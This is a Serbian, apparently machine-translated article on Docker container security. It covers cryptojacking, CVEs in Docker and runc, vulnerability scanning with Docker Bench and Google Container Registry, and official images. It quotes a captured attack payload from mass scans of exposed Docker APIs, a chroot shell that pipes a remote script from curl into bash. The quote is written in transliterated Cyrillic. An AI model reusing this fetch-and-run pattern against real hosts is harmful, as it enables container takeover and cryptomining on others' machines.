Како пронаћи и отклонити рањивости Доцкер контејнера у 2020

Контејнеризација омогућава инжењерским тимовима да створе окружење песковита окружења у којем ће се покретати и тестирати апликације. Контејнери се углавном састоје од слика отвореног кода повучених из чворишта докера или других јавних спремишта слика.

Али ове слике отвореног кода могу понекад садржати рањивости које могу угрозити сигурност контејнера и заузврат његов главни рачунар / сервер.

Будући да се ови контејнери изводе на главној машини, могуће је отети контејнере у производњи ако остану незаштићени.

Добар пример таквог хаковања је Теслин криптоџик напад на незаштићени Кубернетесов кластер. У овом нападу, нападачи су успели да преузму и покрену злонамерну скрипту за рударство криптографије користећи ГПУ-ове обезбеђене од Теслиног кластера К8 (Кубернетес). Успели су да одрже овај напад испод радара тако што су смањили употребу процесора и покренули скрипту у одређеним временским интервалима.

Током овог чланка погледаћемо уобичајене рањивости контејнера и могуће начине за њихово отклањање.

Уобичајене рањивости контејнера и како их отклонити

Оперативни инжењери користе контејнере за паковање и примену софтвера / апликација у затвореном и контролисаном окружењу.

У жељи да се избегне поновно измишљање точка и убрза време изласка на тржиште, већ постојеће слике отвореног кода се увлаче како би се задовољиле зависности потребне за покретање софтвера. Те слике често садрже одређене рањивости због којих су читав контејнер и његов домаћин рањиви на злонамерне нападе.

У наставку су наведене неке уобичајене рањивости и изложености контејнера, као и начини њиховог ублажавања.

Цриптојацкинг

Цриптојацкинг је врста напада где се злонамерна скрипта користи за крађу рачунарских ресурса уређаја за рударство крипто валута.

Недавно је откривена рањивост на Доцкер-у са уносом речника ЦВЕ-2018-15664. Ова рањивост омогућава нападачима да добију роот приступ рачунару хоста.

Осим што могу да користе ЦПУ и ГПУ ресурсе рачунарског рачунара хоста за минирање криптографије, нападачи могу да украду и осетљиве поверљиве податке, изврше ДоС нападе, покрену пхисхинг кампање и још много тога.

Контејнери могу бити подложни криптоизлагању ако садрже злонамерне слике које нападачима дају роот приступ целом контејнеру. Такође су рањиви ако су крајње тачке АПИ-ја за доцкер контејнере јавно доступне на Интернету без лозинки или сигурносних заштитних зидова, као у случају Тесле.

Откривена је опортунистичка активност масовног скенирања која циља изложене Доцкер АПИ крајње тачке.

Ова скенирања креирају контејнер користећи Алпине Линук слику и извршавају корисни терет путем:

"Цомманд": "цхроот / мнт / бин / сх -ц 'цурл -сЛ4 //т.цо/к047бРПУиј | басх;'", # претинацинтел пиц.твиттер.цом/вксзВ5СФ1о

- Извештај о лошим пакетима (@бад_пацкетс) 25. новембра 2019

Злонамерне слике отвореног кода

Рањивост која омогућава преписивање хост рунц бинарног програма даје нападачима слободу за извршавање наредби са роот приступом. Доцкер мотори који претходе в18.09.2 праве контејнере са сликама под контролом нападача подложним рањивости ЦВЕ-2019-5736.

Инжењерима се саветује што је више могуће да користе званичне Доцкерове слике које пружа доцкер. На крају, постоји чак и тим спонзориран од стране Доцкера који блиско сарађује са одржавачима софтвера / издавачима и стручњацима за безбедност како би осигурао сигурност званичних Доцкерових слика.

Статички Доцкерфилес

Један од принципа контејнера је да је слика непроменљива. То значи да када је слика изграђена, њен садржај је непроменљив. То само по себи доводи до рањивости које су резултат застарелих пакета / библиотека / слика садржаних у слици.

Због тога је добра идеја укључити скенере рањивости у ЦИ / ЦД процесе како би се идентификовале рањиве слике контејнера. С обзиром на то да су слике непроменљиве, избацивање новоизграђеног контејнера са ажурираним зависностима помоћи ће у сузбијању безбедносних рањивости јер се закрпа контејнера не препоручује.

Како пронаћи рањивости контејнера

У претходном одељку смо погледали могуће начине на које се рањивости могу увући у доцкер контејнере.

Проналажење рањивости у нашим контејнерима пре него што стигне у производњу помоћи ће избећи могуће нарушавања безбедности и удаљити злонамерне нападаче.

Како кажу - унца превенције вреди пола килограма лека.

У овом одељку ћемо погледати могуће начине на које можете да будете испред рањивости контејнера.

Коришћење Доцкер Бенцх-а за сигурност

Доцкер бенцх фор Сецурити је скрипта која тестира све доцкер контејнере на главном рачунару / серверу за најбоље праксе за примену контејнера у производњи. Ови тестови су засновани на ЦИС референтној тачки.

За пробно покретање можете повући docker/docker-bench-securityслику и тестирати постојеће контејнере на локалној машини на следећи начин:

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

Напомена : ова наредба не ради добро у ОСКС-у. Погледајте ово издање ГитХуб-а за детаље.

Тражење рањивости у ГЦР-у

Доцкер складишта слика (на пример, ГЦР) омогућавају инжењерима да изврше скенирање рањивости за слике у регистру контејнера.

Да бисте омогућили скенирање рањивости у ГЦР (Гоогле регистар контејнера), идите на подешавања регистра контејнера на Гоогле Цлоуд конзоли и кликните на „омогући скенирање рањивости“ на следећи начин:

Када се скенирање рањивости заврши, видећете резултат као на слици испод ако рањивости постоје:

Коришћење решења за предузећа

Постоје сигурносни пакети за контејнеризацију за предузећа који управљају рањивостима и примењују политике примене током животног циклуса контејнера.

Поред тога, овај пакет производа такође се неприметно интегрише са популарним ЦИ / ЦД алатима и регистрима контејнера. То му омогућава да обезбеди примену без ризика, као и управљање контејнером од краја до краја, од примене до производње.

Закључак

Контејнери омогућавају инжењерским тимовима неометано увођење софтвера. Међутим, ова лакоћа иде по цену сигурности.

Постоји неколико ЦВЕ (уобичајена изложеност рањивости) у доцкер контејнерима снимљеним последњих година. Неки од њих су решени у недавним ажурирањима докерског мотора, а остатак је обећан у будућим издањима закрпа.

Инжењерски тимови треба да имају на уму сигурност приликом израде и постављања контејнера. Такође би требало да примене безбедносне политике контејнера у својим животним циклусима ДевОпс.